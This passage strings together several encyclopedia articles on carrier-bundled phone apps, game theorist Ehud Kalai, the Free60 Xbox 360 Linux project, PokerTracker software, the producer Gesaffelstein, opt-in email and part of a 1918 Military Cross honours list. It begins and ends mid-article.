Mobile phones typically come with factory-installed software provided by its manufacturer or mobile network operator; similarly to their PC equivalents, they are sometimes tied to account management or other premium services offered by the provider. The practice was extended to smartphones via Android, as carriers often bundle apps provided by themselves and third-party developers with the device and, furthermore, install them into the System partition, making it so that they cannot be completely removed from the device without performing unsupported modifications to its firmware (such as rooting) first.
Some of these apps may run in the background, consuming battery life, and may also duplicate functionality already provided by the phone itself; for example, Verizon Wireless has bundled phones with a redundant text messaging app known as "Messages+" (which is set as the default text messaging program in lieu of the stock messaging app included within the OS), and VZ Navigator (a subscription service redundant to the free Google Maps service). In addition, apps bundled by OEMs may also include special system-level permissions that bypass those normally enforced by the operating system.
Android 4.0 attempted to address these issues by allowing users to "disable" apps—which hides them from application menus and prevents them from running. However, this does not remove the software from the device entirely, and they still consume storage unless they are removed via unsupported modifications. Android 5.0 began to allow carrier apps to be automatically downloaded from Google Play Store during initial device setup instead; they are installed the same way as user-downloaded apps, and can be uninstalled normally.
By contrast, Apple does not allow operators to customize iPhone in this manner. However, the company has faced criticism for including an increasing number of factory-installed apps in iOS that cannot be removed.
Legal considerations
In April 2014, South Korea implemented new regulatory guidelines for the mobile phone industry, requiring non-essential apps bundled on a smartphone to be user-removable.
In December 2019, Russia passed a law effective 1 July 2020, which require that specific types of consumer electronics devices be factory-installed with applications developed by Russian vendors. The goal of this law is to discourage the use of foreign competitors.
See also
Bundled software
Product bundling
Bundleware
Shovelware
Tying (commerce)
Application software
References
Software distribution
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24744034
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https://en.wikipedia.org/wiki/Ehud%20Kalai
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Ehud Kalai
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Ehud Kalai is a prominent Israeli American game theorist and mathematical economist known for his contributions to the field of game theory and its interface with economics, social choice, computer science and operations research. He was the James J. O’Connor Distinguished Professor of Decision and Game Sciences at Northwestern University, 1975-2017, and currently is a Professor Emeritus of Managerial Economics and Decision Sciences.
Biography
Born in Mandatory Palestine on December 7, 1942, Kalai moved to the US in 1963. He received his AB in mathematics from the University of California Berkeley (1967) and an MS (1971) and a PhD (1972) in statistics and mathematics from Cornell University. After serving as an assistant professor of statistics at Tel Aviv University (1972–75), he was hired by Northwestern University to establish a research group in game theory. He is the founding director of the Kellogg Center of Game Theory and Economic Behavior and the executive director of the Nancy L. Schwartz Memorial Lecture series.
Kalai is the founding Editor of Games and Economic Behavior, the leading journal in game theory. With Robert J. Aumann, Kalai founded the Game Theory Society and served as its president from 2003 to 2006. He is a Fellow of the American Academy of Arts and Sciences, of the Econometric Society, was awarded an Honorary Doctorate (Doctorat Honoris Causa) by the University of Paris at Dauphine (2010), the Sherman Fairchild Distinguished Scholar position at the California Institute of Technology (1993), and was appointed the Oskar Morgenstern Research Professor at New York University (1991).
Since 2008, the Game Theory Society has awarded the Kalai Prize for outstanding papers at the interface of game theory and computer science. The prize was named after Kalai in recognition of his contributions to bridging these two fields.
Selected Contributions
In cooperative game theory, the Kalai-Smorodinsky solution reopened the study of bargaining by showing that the long unchallenged Nash solution is not unique. He later axiomatized the Egalitarian solution to bargaining problems and, with Dov Samet, formulated its extension to general (NTU) cooperative games, unifying it with the Shapley (TU) Value.
In non cooperative game theory, the Kalai and Lehrer model of rational learning showed that rational players with truth-compatible beliefs eventually learn to play Nash equilibria of repeated games. In particular, in Bayesian equilibria of repeated games all relevant private information eventually becomes common knowledge. Kalai's work on large games showed that the equilibria of Bayesian games with many players are structurally robust, thus large games escape major pitfalls in game-theoretic modeling.
Kalai is also known for seminal collaborative research on flow games and totally balanced games; strategic complexity and its implications in economics and political systems; arbitration, strategic delegation and commitments; extensions of Arrow’s Impossibility Theorem in social choice; competitive service speed in queues; and on rational strategic polarization in group decision making.
Selected publications
Cooperative Game Theory
"Other Solutions to Nash's Bargaining Problems," Econometrica, 1975 (with M. Smorodinsky)
"Proportional Solutions to Bargaining Situations: Interpersonal Utility Comparisons," Econometrica, 1977
"Monotonic Solutions to General Cooperative Games," Econometrica, 1985 (with D. Samet)
Non cooperative Game Theory
"Finite Rationality and Interpersonal Complexity in Repeated Games," Econometrica, 1988 (with W. Stanford)
"Rational Learning Leads to Nash Equilibrium," Econometrica, 1993 (with E. Lehrer)
“Large Robust Games,” Econometrica, 2004
Probability and Learning
"Bayesian Representations of Stochastic Processes Under Learning: deFinetti Revisited," Econometrica, 1999 (with M. Jackson and R. Smorodinsky)
Economics
"The Kinked Demand Curve, Facilitating Practices, and Oligopolistic Coordination," 1986 Northwestern DP (with M. Satterthwaite; published by Kluwer, 1996))
"Observable Contracts: Strategic Delegation and Cooperation," International Economic Review, 1991 (with C. Fershtman and K. Judd)
"Complexity Considerations in Market Behavior," The RAND Journal of Economics, 1993 (with C. Fershtman)
Social Choice
"Aggregation Procedure for Cardinal Preferences: A Formulation and Proof of Samuelson's Impossibility Conjecture," Econometrica, 1977 (with D. Schmeidler)
"Characterization of Domains Admitting Non-Dictatorial Social Welfare Functions and Non-Manipulable Voting Procedures," Journal of Economic Theory, 1977 (with E. Muller)
"Path Independent Choices," Econometrica, 1980 (with N. Megiddo)
Operations Research / Computer Science
"Totally Balanced Games and Games of Flow," Mathematics of Operations Research, 1982 (with E. Zemel)
"Optimal Service Speeds in a Competitive Environment," Management Science, 1992 (with M. Kamien and M. Rubinovitch)
“Specified Large Games,” Lecture Notes in Computer Science, 2005
Mathematical Psychology
"Strategic Polarization," Journal of Mathematical Psychology, 2001 (with A. Kalai)
References
1942 births
Israeli economists
Israeli emigrants to the United States
21st-century American economists
Game theorists
University of California, Berkeley alumni
Fellows of the Econometric Society
Northwestern University faculty
Cornell University alumni
Living people
Fellows of the American Academy of Arts and Sciences
Economics journal editors
Nancy L. Schwartz Memorial Lecture speakers
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3282205
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https://en.wikipedia.org/wiki/Free60
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Free60
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Free60 is the successor to the Xbox Linux Project that aims to put Linux, BSD, or Darwin on the Microsoft Xbox 360 using a software or hardware based "hack". The Xbox 360 uses hardware encryption and will not run unsigned code out of the box.
The project's goals were met in March 2007, when shortly after the announcement of a critical software vulnerability in the Xbox 360 Hypervisor a loader for Linux appeared, which allowed to run a Linux ported to the Xbox 360.
To date, there are two Linux kernel patchsets available, one for 2.6.21 and one for 2.6.24.3. Three main Linux distributions may be run on the Xbox 360; Gentoo, Debian and Ubuntu Linux, the last two of which are easily installable to the Xbox 360 hard drive by scripts provided by members of the Free60 project.
Execution Method
Since executable code on the Xbox 360 is digitally signed, and runs underneath a hypervisor, an exploit or hack is necessary in order to execute homebrew code. On the Xbox 360, the first exploit which enabled booting of unsigned code relied on a modified DVD-ROM drive firmware, a modified burned disc of the game King Kong (for Xbox 360), and the target console having either one of two vulnerable Kernel revisions. Alternatively, a home-made cable may be used to dump and patch the bios with jumpers attached to the appropriate pin header on the motherboard of the console to patch the hypervisor and allows unsigned execution directly at boot, known as the "JTAG/SMC exploit", which was patched after June 2009 but replaced by "Reset Glitch Hack", in 2011, which is applicable on any kernel version on all but the latest revision of the Xbox 360 motherboard (most 360's produced from 2014 until end of production in 2015), one caveat is being a glitch and relies on timing, boot times may be unstable.
With the original King Kong exploit, the console must launch the modified game which will utilize the software vulnerability to load a small chunk of code that is included on the disc. This code may either initialize the serial port to allow upload of further code to the console, or eject the drive tray and prepare the console to load further code from a specified point on optical media that is then placed in the drive. The latter method involves the readcd binary, made specifically for this cause. The code that readcd executes in this instance is known as XeLL, short for Xenon Linux Loader. XeLL captures CPU threads and launches the Linux kernel from either network (tftp) or optical media as its only purpose, providing a flat device tree for the kernel. In the cases of released 'Live CDs', the readcd binary would typically be included on the modified game disc, which would eject the drive, and a CD containing the XeLL binary as well as the complete Linux kernel and filesystem would be inserted.
Limitations
The readcd method was initially restricted to only Hitachi branded DVD-ROM drives, but now also supports Samsung branded drives. All other commercially used drives are assumed unsupported, at this point in time the only other drives in use are manufactured by BenQ and Lite-ON.
An older Kernel revision is required on the Xbox 360 itself, which may prove to be hard to find, since connecting to the Xbox Live service applies updates to the console, and many games include updates that must be applied before the game will run. This limitation is not as important as it once was, as it is now known to be possible to downgrade a Kernel greater than the last of the two exploitable Kernels by means of a timing attack.
There are presently no audio drivers written to support the console's internal audio hardware, however a USB audio device can be used.
Some codecs are incompatible with the current display driver, causing some videos to not play. In addition to this, framebuffer and cache issues mean that videos that do play are jumpy after the first few seconds when the cache is full.
Development
One of the main contributors to the Free60 project has developed a method of 3D graphics acceleration on the Xbox 360's GPU (codenamed Xenos) under Linux. This work has been encapsulated into an API for easier use. In order to achieve this acceleration, some data from the Xbox 360's flash needs to be uploaded to the Xenos GPU. This process may be automated to help ensure legality of any 3D graphics acceleration.
Since only a small proportion of Xbox 360's are currently able to execute unsigned code, there has been little development within the Free60 project in recent times. This may to some extent be contrasted to the Free60 predecessor, the Xbox Linux project, which saw far more development as a result of the relative ease of running unsigned code on the Xbox and the ease of porting x86 code to the Xbox's custom Intel Pentium III-based CPU.
To continue development, members of the Free60 project are looking for help. Perhaps the most important of the help requests is to provide audio drivers; the Free60 members have asked for someone with knowledge of the ALSA kernel component and a SiS966 based motherboard to achieve this.
One project created as a result of the success of Free60 is a Kernel Rebooter. The goal of this is, after initially loading a vulnerable kernel and exploiting it to gain control of the system, to be able to make the console reload into a modified, unsigned hypervisor and kernel. Being able to reboot into a more recent kernel revision would allow for games to be executed on the console that are dependent on these kernel revisions. This project has seen a certain level of success; there are binary files available (to be launched by the serial loader or readcd) to partially reload the hypervisor.
Summer 2009 Xbox Live Update
On August 11, 2009 Microsoft released an Xbox 360 software update that overwrites the Second stage bootloader of the system. Any failure while updating this will break the Xbox 360 beyond repair. Statistics from other systems have shown that about one in a thousand bootloader updates went wrong and unless Microsoft has a novel solution to this problem, this puts tens of thousands of Xboxes at risk.
It seems that this update was issued to fix a vulnerability already known to the Free60 Project. This vulnerability has been successfully exploited to run arbitrary code, and a complete end user compatible hack has been in development for some time and is planned to be released on free60.org shortly. It will allow users to take back control of their Xboxes and run arbitrary code like homebrew applications or Linux right after turning on the console and without the need of a modchip, finally opening up the Xbox 360 to a level of hacking as the original Xbox.
Because of the danger of the update and the homebrew lockout, the Free60 Project advises all Xbox 360 users to not update their systems to the latest software version. The Free60 website will provide the latest information on this ongoing topic, including the final hack software.
References
External links
http://free60.org/
Xbox 360 software
Platform-specific Linux distributions
Linux distributions
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14100498
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https://en.wikipedia.org/wiki/PokerTracker
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PokerTracker
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PokerTracker Software, LLC is the name of a poker tool software company that produces the PokerTracker line of poker tracking and analysis software. PokerTracker's software imports and parses the hand histories that poker sites create during online play and stores the resulting statistics/information about historical play into a local database library for self-analysis, and for in-game opponent analysis using a real-time Head-up display.
The software allows the user to monitor each poker session's profit or loss, hands played, time played, and table style. It calculates and graphs statistics such as hands per hour, winnings per hand, winnings per hour, cumulative profit and loss, and individual game profit and loss across multiple currencies.
Products
PokerTracker Software, LLC produces poker analysis software. Examples include PokerTracker Holdem v2, PokerTracker Omaha v2, PokerTracker 3 Hold'em (PT3) for Texas Hold 'em, PokerTracker 3 Omaha (PTO) for Omaha Hold 'em, PokerTracker Stud for Stud poker, and TableTracker. The company previously developed the PokerAce Head-Up Display, also known as PokerAce HUD or simply PAHUD, which provides real-time information for live online poker play; the functionality from this formerly separate application was eventually incorporated within PokerTracker 3. Collectively, the company's software has been described as "among the most comprehensive software programs in the online poker industry" by PokerSoftware.com. The company subsequently developed PokerTracker 4 in 2012 and 2013, which is its most recent software development.
PokerTracker 3
In September 2009, the company announced that as of March 31, 2010, PokerTracker Holdem v2 would no longer be supported. The decision was made because PokerTracker 3 had been released on May 15, 2008, nearly two years prior to the end-of-life date. The company felt that discontinuing support of v2 would avail resources which could be dedicated to improving PT3 and providing exceptional customer service. Similarly on December 31, 2010, PokerTracker Omaha v2 will also no longer be supported, as its features have been completely integrated into the PokerTracker 3 product line.
PokerTracker 3 supports online poker from the following poker networks and/or sites: 888 Poker Network, Bodog, Boss Media, Cake Network, Cereus Poker Network, Entraction Poker, Everest Poker, Full Tilt Poker, IPoker, Microgaming, Merge Gaming Network, OnGame, PartyPoker, PokerStars and Winamax. PokerTracker is available natively for both Microsoft Windows and Mac OS X-based computers.
PokerTracker 3 competes against several similar programs. According to Total Gambler, its most notable competitors are Hold’em Manager and PokerOffice, while Pokersoftware.com considers only Hold’em Manager to be a serious competitor.
PokerTracker 4
PokerTracker 4 is poker tracking software that is designed for several types of online poker: No-Limit, Limit, or Pot-Limit cash games, Sit N’ Go's and Multi-Table Tournaments for both Texas Holdem and Omaha players. It is compatible with almost all online poker websites' software and interfaces. PokerTracker 4 began public beta testing in March 2012. In August 2012, the company commercially launched a Microsoft Windows version of PokerTracker 4. In January 2013 as PokerTracker version 4.05.10 was rolled out, the company began alpha testing an Apple OS X version of the software. PokerTracker 4 was produced from scratch rather than by refining PokerTracker 3 and other earlier versions.
Software features
Sample Hand History
PokerStars Game #27738502010: Tournament #160417133, $0.25+$0.00 Hold'em No Limit - Level XV (250/500) - 2009/05/02 13:32:38 ET Table '160417133 3' 9-max Seat #8 is the button Seat 1: LLC 4Eva (9182 in chips) Seat 2: 618shooter (25711 in chips) is sitting out Seat 3: suposd2bRich (21475 in chips) Seat 4: ElT007 (60940 in chips) Seat 5: Orlando I (18044 in chips) Seat 6: ih82bcool2 (8338 in chips) Seat 7: kovilen007 (8353 in chips) Seat 8: GerKingTiger (4404 in chips) Seat 9: Phontaz (23553 in chips) LLC 4Eva: posts the ante 60
618shooter: posts the ante 60
suposd2bRich: posts the ante 60
ElT007: posts the ante 60
Orlando I: posts the ante 60
ih82bcool2: posts the ante 60
kovilen007: posts the ante 60
GerKingTiger: posts the ante 60
Phontaz: posts the ante 60
Phontaz: posts small blind 250
LLC 4Eva: posts big blind 500
<nowiki>***</nowiki> HOLE CARDS <nowiki>***</nowiki> Dealt to ElT007 [Qd Qc]
618shooter: folds
suposd2bRich: folds
ElT007: raises 2000 to 2500
Orlando I: raises 15484 to 17984 and is all-in
ih82bcool2: folds
kovilen007: calls 8293 and is all-in
GerKingTiger: folds
Phontaz: calls 17734
LLC 4Eva: folds
ElT007: raises 15484 to 33468
Phontaz: calls 5509 and is all-in
Uncalled bet (9975) returned to ElT007
<nowiki>***</nowiki> FLOP <nowiki>***</nowiki> [2d 2c 3c] <nowiki>***</nowiki> TURN <nowiki>***</nowiki> [2d 2c 3c] [8h] <nowiki>***</nowiki> RIVER <nowiki>***</nowiki> [2d 2c 3c 8h] [4d] <nowiki>***</nowiki> SHOW DOWN <nowiki>***</nowiki>
Phontaz: shows [9s 9h] (two pair, Nines and Deuces)
ElT007: shows [Qd Qc] (two pair, Queens and Deuces) 618shooter has returned
ElT007 collected 11018 from side pot-2
Orlando I: shows [5d 5h] (two pair, Fives and Deuces)
ElT007 collected 29073 from side pot-1
kovilen007: shows [Kh As] (a pair of Deuces)
ElT007 collected 34212 from main pot
<nowiki>***</nowiki> SUMMARY <nowiki>***</nowiki> Total pot 74303 Main pot 34212. Side pot-1 29073. Side pot-2 11018. | Rake 0 Board [2d 2c 3c 8h 4d] Seat 1: LLC 4Eva (big blind) folded before Flop Seat 2: 618shooter folded before Flop (didn't bet) Seat 3: suposd2bRich folded before Flop (didn't bet) Seat 4: ElT007 showed [Qd Qc] and won (74303) with two pair, Queens and Deuces Seat 5: Orlando I showed [5d 5h] and lost with two pair, Fives and Deuces Seat 6: ih82bcool2 folded before Flop (didn't bet) Seat 7: kovilen007 showed [Kh As] and lost with a pair of Deuces Seat 8: GerKingTiger (button) folded before Flop (didn't bet) Seat 9: Phontaz (small blind) showed [9s 9h] and lost with two pair, Nines and Deuces
On most online poker sites, players can have the client software create a locally stored text file that records the hand history as shown in the 'Sample Hand History' example. These hand histories summarize the details of the hand in a format that can be parsed by computer software. PokerTracker reads these files and extracts the relevant information, which it converts into a database for later review or statistical analysis. The software is capable of combining hand history details of multiple accounts from different online poker services, which allows a user to aggregate his or her data. Statistical summaries can be consolidated from different poker sites regardless of whether the user's screen name is the same at each site.
PokerTracker is capable of analyzing cash ring games in which players play for cash during each hand, sit and go tournaments in which players compete for set prizes after the prescribed number of competitors join the tournament, and multi-table tournaments in which players compete for tournament prizes based on the total number of entries at the scheduled start time. Statistics can be tracked by position, session, tournament, best & worst hands, and hand results. This helps the user analyze statistics based on starting hand or final hand. The software also enables the user to replay any specific hand.
Sample Tournament Summary
PokerStars Tournament #165494542, No Limit Hold'em
Buy-In: $0.25
90 players
Total Prize Pool: $22.50
Tournament started 2009/05/21 10:19:54 ET Tournament finished 2009/05/21 14:09:17 ET
1: ElT007 (Chicago), $6.20 (27.55%)
2: Rogoslav (??????), $4.17 (18.53%)
3: zibi23 (Warsaw), $3.16 (14.04%)
4: Samskn (Veltem-Beisem), $2.14 (9.51%)
5: thyrandy360 (Valkenburg), $1.57 (6.97%)
6: Lil Advocate (Göteborg), $1.18 (5.24%)
7: hungrong (wien), $0.95 (4.22%)
8: CKWIFE (LIVRY GARGAN), $0.81 (3.60%)
9: NaiVang (Maplewood), $0.67 (2.97%)
10: SONAG777 (??????), $0.55 (2.44%)
11: zofiaj (newark), $0.55 (2.44%)
12: alinjef (bigspring), $0.55 (2.44%)
13: Richt_Ace (Solna),
14: slongadonga (Port Pirie),
15: dadou187 (a cote de chez toi),
16: SainttAA (Greve),
17: MaxFox123 (Moscow),
18: Suxela (Lubertsy),
19: Albazax (??????),
20: michmach69 (köln),
21: patriot1011 (Moncton),
22: scotticus08 (Australia),
23: jajay211 (Jacobs Well),
24: pitcherplaya (Oklahoma City),
25: Caraxe (Utrecht),
26: robygrasu (bucuresti),
27: DrKuzma (Paracin/Great Serbia),
28: Pot`Nbeer (Mautern),
29: jdcecil (Middletown),
30: Loushje (Bergen),
31: ancuta010601 (botosani),
32: redmarian111 (alcorcon (madrid)),
33: drbobo69 (Warszawa),
34: $700straight (Frankfurt am Main),
35: SportModel (Oakland),
36: mietze166 (Essen),
37: diannepoesje (arnhem),
38: emivallejo (San juan),
39: mamo54 (Fort Worth),
40: DEANO247365 (LONDON),
41: BigBenefit$ (sydney),
42: Lin Pi Yama (Ermelo),
43: fishmunga (sydney),
44: tissy26 (Hamburg),
45: Thomas Less (Helsinki),
46: ptrperfect (sydney),
47: maxouu31 (Toulouse),
48: franssuh (horst),
49: snöby (månkarbo),
50: SaberKt (Kutina),
51: tupac_thegod (charny),
52: miguel1076 (famalicao),
53: Vitilo (Gijon),
54: ARENA83 (Fuerth),
55: JOBABIS4799 (BRUNTAL),
56: slawus (Bilgoraj),
57: zamgod (morelia),
58: bd1968 (ceres),
59: darkcity007 (Durham),
60: Elias2010 (Köln),
61: Roti82 (Montevideo),
62: soerer (berlin),
63: N.O. SLIMM (Harvey),
64: xenys2804199 (Riga),
65: Mrs. Natalie (St.Petersburg),
66: elnoblecigar (Dortmund),
67: chequeulater (Perth WA),
68: Roleeka86 (Budapest),
69: Repanocha (Las Palmas),
70: WinningPKSTR (Khren),
71: realnice11 (Amsterdam),
72: Athazoth (Novi Ligure),
73: verdugo617 (cumana),
74: LadiLiberty (Las Vegas),
75: madmirko78 (ahaus),
76: Lvpokeragain (Fremont),
77: MortyO3 (naples),
78: LEONA999 (Montreal),
79: luislamm (tucuman),
80: makul1974 (Granowo),
81: JokerSTV23 (??????????),
82: el traga (rojales),
83: zlaja75 (gradac),
84: DieciCapello (CPH),
85: luca.elisei (castelldefels),
86: AVELÃ (lisboa),
87: retiredn86z (Redding,ca.),
88: tradechp (?????????),
89: hurco007 (lalin),
90: Derekas (Toronto),
You finished in 1st place.
The software's database uses tournament summaries such as the 'Sample Tournament Summary' example and hand histories to provide a three section summary (see infobox screenshot). The top section of the general information tab provides tournament summaries of profit/loss as well as ordinal placement summary. The other sections summarize situational statistics based on the level of the blinds and the starting hand. Additional tabs in the software produce detailed information for various statistical interests.
PokerTracker's probability graphs, as well as historical statistics of the hands a user and his or her opponents have played, enable the user to analyze conditional statistical possibilities and optimal betting amounts. The situations it analyzes are conditional on the opposition's playing characteristics and the player's position relative to the dealer. Graphs can be produced for a single session or for any part of one's playing history. One of the biggest improvements in PokerTracker 3 over PT2 is that it is fully customizable so that all statistics and reports can be tailored to the individual user. The Guardian claims most serious players use PokerTracker during online play to constantly calculate situational optima.
PokerTracker 3 is also known for its integrated heads-up display, a transparent video overlay data presentation that makes statistics and notes are readily available during play. The HUD allows an online poker player to focus his attention on the poker table he or she is playing at, rather than on the PokerTracker application. The HUD provides a vast array of realtime statistics for in-game analysis, customizable to the user's preference. In addition to the statistics available constantly during play on the poker window, detailed statistics are available in a pop-up window, accessible via a single mouse click. Marbella Slim of the Daily Star used the vision of Arnold Schwarzenegger's Terminator character in an analogy with the HUD: "In some scenes, you get to see what the robot Terminator is seeing and he has all these data streams in front of his vision - it's a HUD or a head-up display." Unlike other poker tracking products, PokerTracker 3 includes a HUD as part of the basic program. The PT3 HUD, which automatically overlays a player's opponents' statistics next to their avatars, is essentially a built-in version of the formerly available PokerAce HUD.
PokerTracker 3 also offers a monthly subscription-based service called TableTracker. TableTracker is an integrated service that automatically identifies ring tables with competition suitable to the user's playing style. PokerTracker's servers constantly monitor which players are playing and what tables they are playing at on various major poker sites, which allows TableTracker to find the weakest players across multiple online poker websites. The user can search based on the software's built in scoring system or any other statistics of his or her choosing.
Use and legality
Serious poker pros and casual amateurs alike can benefit from the poker tracking software, and poker magazines such as Card Player repeatedly remind poker players of the usefulness of tracking software. Total Gambler says that in addition to experience and skill the other necessity for a gambler to become a professional poker player is a good software package such as PokerTracker.
Several websites portray PokerTracker as either the world's leading or the world's most popular poker tracking software. For example, Pokersource.com describes it as "the most popular poker tracking and analysis software available" and Party Poker describes PokerTracker as "the original and largest piece of poker tracking software". PokerSoftware.com says "Poker Tracker has been the industry standard ... for years". Total Gambler says that for more than a two-year period PokerTracker 2 was the "prominent force in online poker tracking", but at the time of its December 2008 review it speaks of this leadership position in the past tense, noting that PT3 had not yet been "fully released" at the time of its testing.
Major online card rooms forbid the use of software that gives a player an "unfair advantage." This typically includes software that allows players to share their hole cards with other players during live play and software that automates decision making. Since PokerTracker software doesn't fit into either of these categories it is generally allowed on most sites, including industry leader PokerStars.com. Legality aside, some players feel the use of PokerTracker takes away from the game; for example, Victoria Coren of The Guardian remarks "there is only one downside [to using PokerTracker]. Where's the bloody fun in it?"
Notes
External links
PokerTracker official site
Poker tools
Proprietary cross-platform software
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30684602
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https://en.wikipedia.org/wiki/Gesaffelstein
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Gesaffelstein
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Mike Lévy (; born 13 June 1987), known professionally as Gesaffelstein (), is a French musician, DJ, songwriter, and record producer from Lyon. He has worked alongside The Weeknd, Daft Punk, Kanye West, A$AP Rocky, Electric Youth, Haim, Miss Kittin, The Hacker, Jean-Michel Jarre, and Pharrell Williams.
Name
Gesaffelstein is a portmanteau of Gesamtkunstwerk ("total artwork" in German, also title of an album by the American electro group Dopplereffekt) and Albert Einstein.
Career
Mike Lévy was born in Lyon, France, in June 1987. He started producing music at the age of sixteen when he first played an analog synthesizer. He released his first EP in 2008 through the label OD Records. In 2009, he founded with The Hacker, Alex Reynaud and David Rimokh, the independent label Zone.
In July 2012, Gesaffelstein made the cover of DJ Mag with Brodinski. The same year, his track "Viol" was used by Citroën and Givenchy advertisings. He co-produced two tracks on Yeezus, the sixth album of American rapper Kanye West, including the lead single "Black Skinhead" and "Send It Up", both tracks produced with Kanye West, Daft Punk, Brodinski and Mike Dean. On October 28, 2013, Gesaffelstein released his debut album Aleph under Parlophone Records and OWSLA (in North America only), which had been recorded since 2011. His remix of "Shockwave" by The Hacker is featured in the 2013 video game Grand Theft Auto V, on the Soulwax FM radio station.
In 2015, Gesaffelstein released the single "Conquistador" in collaboration with Jean-Michel Jarre, which is present on the album Electronica 1: The Time Machine. He also produced the soundtrack for the French-Belgian 2015 film Maryland, directed by Alice Winocour. In early 2018, he produced the tracks "I Was Never There" and "Hurt You" from The Weeknd's My Dear Melancholy, EP.
Gesaffelstein signed to Columbia Records in November 2018, with whom he released the lead single "Reset" from his second studio album Hyperion in the same month. In January 2019, he released a collaboration with The Weeknd titled "Lost in the Fire" as the second single from Hyperion, and later in March 2019 released another collaboration with Pharrell Williams titled "Blast Off". Hyperion was released on March 8, 2019 to mixed reviews. On October 3, 2019, Gesaffelstein announced his surprise EP Novo Sonic System, consisting of 6 tracks, which was released the following day.
For Apple's October 2021 event, his track "Orck" was used as the pre-intro and outro theme music.
Gesaffelstein announced a collaboration with fellow Kanye West collaborator KayCyy. The first of their songs "OKAY" will release on February 11, 2022.
Musical style
Mixmag describes Gesaffelstein's style as being a "dark and threatening techno, though enchanting"; The Inrocks see it as "black, ultra-violent music, [which] revives the techno fundamentals, the intransigence of Underground Resistance, the mental and obsessive structures of Drexciya, the contemporary power and more". Megan Buerger from the Washington Post describes his style as a mixture of dark and underground music, and notes that a specialty of the artist is his use of silences to create a "tension" before a "raucous explosion of bass and percussion".
Rolling Stone magazine sees his music as being "a little more aggressive and punk-rock than normal".
Influences
Gesaffelstein cites as references Dopplereffekt, Kraftwerk, but also new wave formations from the 80s such as D.A.F. or Nitzer Ebb. He also appreciates Joy Division and The Hacker also influenced him a lot.
Discography
Studio albums
Extended plays
Soundtracks
Singles
As lead artist
As featured artist
Other charted songs
Other appearances
Songwriting, production and technical credits
Remixes
Notes
References
External links
1987 births
Living people
French DJs
French electronic musicians
French Jews
French songwriters
Male songwriters
Jewish musicians
Columbia Records artists
Owsla artists
Parlophone artists
Warner Music Sweden artists
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3329984
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https://en.wikipedia.org/wiki/Opt-in%20email
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Opt-in email
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Opt-in email is a term used when someone is not initially added to an emailing list and is instead given the option to join the emailing list. Typically, this is some sort of mailing list, newsletter, or advertising. Opt-out emails do not ask for permission to send emails, these emails are typically criticized as unsolicited bulk emails, better known as spam.
Forms
There are several common forms of opt-in email:
Unconfirmed opt-in/single opt-in
Someone first gives an email address to the list software (for instance, on a Web page), but no steps are taken to make sure that this address belongs to the person submitting it. This can cause email from the mailing list to be considered spam because simple typos of the email address can cause the email to be sent to someone else. Malicious subscriptions are also possible, as are subscriptions that are due to spammers forging email addresses that are sent to the email address used to subscribe to the mailing list.
Confirmed opt-in (COI)/double opt-in (DOI)
A new subscriber asks to be subscribed to the mailing list, but unlike unconfirmed or single opt-in, a confirmation email is sent to verify it was really them. Generally, unless the explicit step is taken to verify the end-subscriber's e-mail address, such as clicking a special web link or sending back a reply email, it is difficult to establish that the e-mail address in question indeed belongs to the person who submitted the request to receive the e-mail. Using a confirmed opt-in (COI) (also known as a Double opt-in) procedure helps to ensure that a third party is not able to subscribe someone else accidentally, or out of malice, since if no action is taken on the part of the e-mail recipient, they will simply no longer receive any messages from the list operator. Mail system administrators and non-spam mailing list operators refer to this as confirmed subscription or closed-loop opt-in.
Some marketers call closed-loop opt-in "double opt-in". This term was coined by marketers in the late 90s to differentiate it from what they call "single opt-in", where a new subscriber to an email list gets a confirmation email telling them they will begin to receive emails if they take no action. Some marketers contend that "double opt-in" is like asking for permission twice and that it constitutes unnecessary interference with someone who has already said they want to hear from the marketer. However, it does drastically reduce the likelihood of someone being signed up to an email list by another person. Double opt-in method is used by email marketers to ensure the quality of their list by adding an extra stop in the verification process.
The US CAN-SPAM Act of 2003 does not require an opt-in approach, only an easy opt-out system. But opt-in is required by law in many European countries and elsewhere. It turns out that confirmed opt-in is the only way that you can prove that a person actually opted in, if challenged legally.
Opt-out
Instead of giving people the option to be put in the list, they are automatically put in and then have the option to request to be taken out. This approach is illegal in the European Union and many other jurisdictions.
Address authentication
Email address authentication is a technique for validating that a person claiming to possess a particular email address actually does so. This is normally done by sending an email containing a token to the address, and requiring that the party being authenticated supply that token before the authentication proceeds. The email containing the token is usually worded so as to explain the situation to the recipient and discourage them from supplying the token (often via visiting a URL) unless they in fact were attempting to authenticate.
For example, suppose that one party, Alice, operates a website on which visitors can make accounts to participate or gain access to content. Another party, Bob, comes to that website and creates an account. Bob supplies an email address at which he can be contacted, but Alice does not yet know that Bob is being truthful (consciously or not) about the address. Alice sends a token to Bob's email address for an authentication request, asking Bob to click on a particular URL if and only if the recipient of the mail was making an account on Alice's website. Bob receives the mail and clicks the URL, demonstrating to Alice that he controls the email address he claimed to have. If instead a hostile party, Chuck, were to visit Alice's website attempting to masquerade as Bob, he would be unable to complete the account registration process because the confirmation would be sent to Bob's email address, to which Chuck does not have access. Wikipedia uses this mechanism too.
Best practice
The step of email address verification (confirmation) is considered by many anti-spam advocates to be the minimum degree necessary for any opt-in email advertising or other ongoing email communication.
See also
Closed-loop authentication
Email marketing
References
Spamming
Email
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59469540
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https://en.wikipedia.org/wiki/1918%20New%20Year%20Honours%20%28MC%29
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1918 New Year Honours (MC)
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This is a list of Military Crosses awarded in the 1918 New Year Honours.
The 1918 New Year Honours were appointments by King George V to various orders and honours to reward and highlight good works by citizens of the British Empire. The appointments were published in The London Gazette and The Times in January, February and March 1918.
Unlike the 1917 New Year Honours, the 1918 honours was dominated by rewards for war efforts. As The Times reported: "The New Year Honours represent largely the circumstances of war, and, perhaps, as usual, they also reflect human nature in an obvious form. The list is one of the rare opportunities for the public to scan the names of soldiers who have distinguished themselves in service."
The recipients of honours are displayed here as they were styled before their new honour.
Military Cross
Tmp 2nd Lt. Edgar Victor William Ablett, Army Cyclist Corps
Tmp Lt. Walter Murray Ablewhite, King's Royal Rifle Corps
Tmp Lt. Eric Pearson Adair, Royal Engineers
Lt. George Alexander Findlay Adam, Yeomanry
Capt. Robert Adam, Gordon Highlanders
Tmp Capt. Reginald Addenbrooke-Prout, General List, and Royal Field Arty.
Capt. Harry Adshead, Worcestershire Reg.
Lt. Philip Henry Adshead, Gordon Highlanders
C.S. Maj. George Alexander Aiers, Grenadier Guards
2nd Lt. Ralph Bower Ainsworth, Durham Light Inf.
Tmp Capt. Flockart Aitken, Royal Field Arty.
2nd Lt. Jack Phillips Akerman, Somerset Light Inf.
2nd Lt. Denis William Aldridge, Royal Engineers
